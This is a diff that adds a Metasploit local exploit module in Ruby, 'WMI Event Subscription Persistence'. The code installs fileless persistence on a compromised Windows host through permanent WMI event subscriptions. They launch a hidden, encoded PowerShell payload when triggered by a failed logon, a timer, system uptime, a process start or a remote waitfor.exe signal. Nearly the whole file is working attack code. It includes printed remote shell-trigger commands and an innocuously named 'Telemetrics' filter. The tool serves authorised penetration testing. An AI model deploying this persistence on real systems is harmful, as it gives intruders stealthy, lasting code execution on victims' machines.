|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core/exploit/powershell' |
| 7 | +require 'msf/core/post/windows/powershell' |
| 8 | +require 'msf/core/post/file' |
| 9 | + |
| 10 | +class MetasploitModule < Msf::Exploit::Local |
| 11 | + |
| 12 | + include Msf::Post::Windows::Powershell |
| 13 | + include Msf::Exploit::Powershell |
| 14 | + include Post::Windows::Priv |
| 15 | + include Msf::Post::File |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'WMI Event Subscription Persistence', |
| 20 | + 'Description' => %q{ |
| 21 | + This module will create a permanent WMI event subscription to achieve file-less persistence using one |
| 22 | + of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER |
| 23 | + (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing |
| 24 | + must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon |
| 25 | + /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload. |
| 26 | + The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON |
| 27 | + method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS |
| 28 | + method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method |
| 29 | + creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER |
| 30 | + before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command |
| 31 | + (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is |
| 32 | + activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a |
| 33 | + high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. |
| 34 | + }, |
| 35 | + 'Author' => ['Nick Tyrer <@NickTyrer>'], |
| 36 | + 'License' => MSF_LICENSE, |
| 37 | + 'Privileged' => true, |
| 38 | + 'Platform' => 'win', |
| 39 | + 'SessionTypes' => ['meterpreter'], |
| 40 | + 'Targets' => [['Windows', {}]], |
| 41 | + 'DisclosureDate' => 'Jun 6 2017', |
| 42 | + 'DefaultTarget' => 0, |
| 43 | + 'DefaultOptions' => |
| 44 | + { |
| 45 | + 'DisablePayloadHandler' => 'true' |
| 46 | + }, |
| 47 | + 'References' => [ |
| 48 | + ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'], |
| 49 | + ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'] |
| 50 | + ] |
| 51 | + )) |
| 52 | + |
| 53 | + register_options([ |
| 54 | + OptEnum.new('PERSISTENCE_METHOD', |
| 55 | + [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]), |
| 56 | + OptInt.new('EVENT_ID_TRIGGER', |
| 57 | + [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), |
| 58 | + OptString.new('USERNAME_TRIGGER', |
| 59 | + [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), |
| 60 | + OptString.new('PROCESS_TRIGGER', |
| 61 | + [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), |
| 62 | + OptString.new('WAITFOR_TRIGGER', |
| 63 | + [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]), |
| 64 | + OptInt.new('CALLBACK_INTERVAL', |
| 65 | + [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), |
| 66 | + OptString.new('CLASSNAME', |
| 67 | + [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]) |
| 68 | + ]) |
| 69 | + |
| 70 | + register_advanced_options( |
| 71 | + [ |
| 72 | + OptString.new('CUSTOM_PS_COMMAND', |
| 73 | + [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]), |
| 74 | + ]) |
| 75 | + end |
| 76 | + |
| 77 | + |
| 78 | + def exploit |
| 79 | + unless have_powershell? |
| 80 | + print_error("This module requires powershell to run") |
| 81 | + return |
| 82 | + end |
| 83 | + |
| 84 | + unless is_admin? |
| 85 | + print_error("This module requires admin privs to run") |
| 86 | + return |
| 87 | + end |
| 88 | + |
| 89 | + unless is_high_integrity? |
| 90 | + print_error("This module requires UAC to be bypassed first") |
| 91 | + return |
| 92 | + end |
| 93 | + |
| 94 | + if is_system? |
| 95 | + print_error("This module cannot run as System") |
| 96 | + return |
| 97 | + end |
| 98 | + |
| 99 | + host = session.session_host |
| 100 | + print_status('Installing Persistence...') |
| 101 | + |
| 102 | + case datastore['PERSISTENCE_METHOD'] |
| 103 | + when 'LOGON' |
| 104 | + psh_exec(subscription_logon) |
| 105 | + print_good "Persistence installed!" |
| 106 | + remove_persistence |
| 107 | + when 'INTERVAL' |
| 108 | + psh_exec(subscription_interval) |
| 109 | + print_good "Persistence installed!" |
| 110 | + remove_persistence |
| 111 | + when 'EVENT' |
| 112 | + psh_exec(subscription_event) |
| 113 | + print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\"" |
| 114 | + remove_persistence |
| 115 | + when 'PROCESS' |
| 116 | + psh_exec(subscription_process) |
| 117 | + print_good "Persistence installed!" |
| 118 | + remove_persistence |
| 119 | + when 'WAITFOR' |
| 120 | + psh_exec(subscription_waitfor) |
| 121 | + print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\"" |
| 122 | + remove_persistence |
| 123 | + end |
| 124 | + end |
| 125 | + |
| 126 | + |
| 127 | + def build_payload |
| 128 | + if datastore['CUSTOM_PS_COMMAND'] |
| 129 | + script_in = datastore['CUSTOM_PS_COMMAND'] |
| 130 | + compressed_script = compress_script(script_in, eof = nil) |
| 131 | + encoded_script = encode_script(compressed_script, eof = nil) |
| 132 | + generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script) |
| 133 | + else |
| 134 | + cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) |
| 135 | + end |
| 136 | + end |
| 137 | + |
| 138 | + |
| 139 | + def subscription_logon |
| 140 | + command = build_payload |
| 141 | + class_name = datastore['CLASSNAME'] |
| 142 | + <<-HEREDOC |
| 143 | + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} |
| 144 | + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} |
| 145 | + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} |
| 146 | + HEREDOC |
| 147 | + end |
| 148 | + |
| 149 | + |
| 150 | + def subscription_interval |
| 151 | + command = build_payload |
| 152 | + class_name = datastore['CLASSNAME'] |
| 153 | + callback_interval = datastore['CALLBACK_INTERVAL'] |
| 154 | + <<-HEREDOC |
| 155 | + $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} |
| 156 | + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'} |
| 157 | + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} |
| 158 | + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} |
| 159 | + HEREDOC |
| 160 | + end |
| 161 | + |
| 162 | + |
| 163 | + def subscription_event |
| 164 | + command = build_payload |
| 165 | + event_id = datastore['EVENT_ID_TRIGGER'] |
| 166 | + username = datastore['USERNAME_TRIGGER'] |
| 167 | + class_name = datastore['CLASSNAME'] |
| 168 | + <<-HEREDOC |
| 169 | + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} |
| 170 | + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} |
| 171 | + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} |
| 172 | + HEREDOC |
| 173 | + end |
| 174 | + |
| 175 | + |
| 176 | + def subscription_process |
| 177 | + command = build_payload |
| 178 | + class_name = datastore['CLASSNAME'] |
| 179 | + process_name = datastore['PROCESS_TRIGGER'] |
| 180 | + <<-HEREDOC |
| 181 | + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'} |
| 182 | + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} |
| 183 | + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} |
| 184 | + HEREDOC |
| 185 | + end |
| 186 | + |
| 187 | + |
| 188 | + def subscription_waitfor |
| 189 | + command = build_payload |
| 190 | + word = datastore['WAITFOR_TRIGGER'] |
| 191 | + class_name = datastore['CLASSNAME'] |
| 192 | + <<-HEREDOC |
| 193 | + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'} |
| 194 | + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"} |
| 195 | + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} |
| 196 | + $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} |
| 197 | + $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"} |
| 198 | + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} |
| 199 | + Start-Process -FilePath waitfor.exe #{word} -NoNewWindow |
| 200 | + HEREDOC |
| 201 | + end |
| 202 | + |
| 203 | + |
| 204 | + def log_file |
| 205 | + host = session.session_host |
| 206 | + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") |
| 207 | + logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence', |
| 208 | + Rex::FileUtils.clean_path(host + filenameinfo)) |
| 209 | + ::FileUtils.mkdir_p(logs) |
| 210 | + logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') |
| 211 | + end |
| 212 | + |
| 213 | + |
| 214 | + def remove_persistence |
| 215 | + name_class = datastore['CLASSNAME'] |
| 216 | + clean_rc = log_file |
| 217 | + if datastore['PERSISTENCE_METHOD'] == "WAITFOR" |
| 218 | + clean_up_rc = "" |
| 219 | + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" |
| 220 | + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" |
| 221 | + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" |
| 222 | + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" |
| 223 | + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" |
| 224 | + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" |
| 225 | + else |
| 226 | + clean_up_rc = "" |
| 227 | + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" |
| 228 | + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" |
| 229 | + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" |
| 230 | + end |
| 231 | + file_local_write(clean_rc, clean_up_rc) |
| 232 | + print_status("Clean up Meterpreter RC file: #{clean_rc}") |
| 233 | + end |
| 234 | +end |
0 commit comments